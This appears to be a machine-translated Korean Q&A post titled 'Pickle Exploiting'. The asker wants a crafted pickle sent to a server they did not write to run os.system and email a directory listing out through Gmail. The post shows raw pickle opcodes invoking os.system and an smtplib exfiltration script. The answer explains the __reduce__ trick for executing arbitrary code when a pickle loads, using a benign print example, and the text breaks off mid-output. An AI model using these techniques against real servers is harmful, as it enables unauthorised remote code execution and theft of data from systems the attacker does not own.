Pickle Exploiting

Question

피클 파일을 보내지 않은 서버에 피클 파일을 보내도록 지정했습니다. 필자의 계획은 ls 커맨드가 프린트 된 것을 이메일로 보내주기 위해서입니다. 이 파일을 가지고 있습니다 :

import smtplib 
import commands 
status, output = commands.getstatusoutput("ls") 
server = smtplib.SMTP_SSL('smtp.gmail.com') 
server.login("...@gmail.com", "password") 
server.sendmail("...@gmail.com", "...@gmail.com", output) 
server.quit() 

어떻게하면 서버를 실행할 수 있습니까? 다음과 같은 파일을 보내려고합니다 :

cos 
system 
(S'' 
tR. 

'에 파이썬 스크립트가 있습니다.

내가 좋아하는 뭔가 생각 :

cos 
system 
(S'python\n import smptlib\n ...' 
tR. 

을하지만 명령을 실행하지 않습니다. 파이썬을 어떻게 실행시킬 수 있습니까?

나는 내 컴퓨터에서 해봤으며 python이 이메일을 잘 보냈습니다.

Answer 1

__reduce__ 방법에서 원하는대로하세요. 제발 악 하지마.

import pickle 

class Friendly(object): 
    def __reduce__(self): 
     return (friendly, ('executing friendly code',)) 

def friendly(x): 
    print x 

pickle.dump(Friendly(), open('pickled', 'w')) 
print 'loading ...' 
pickle.load(open('pickled')) 

->

$ 파이썬은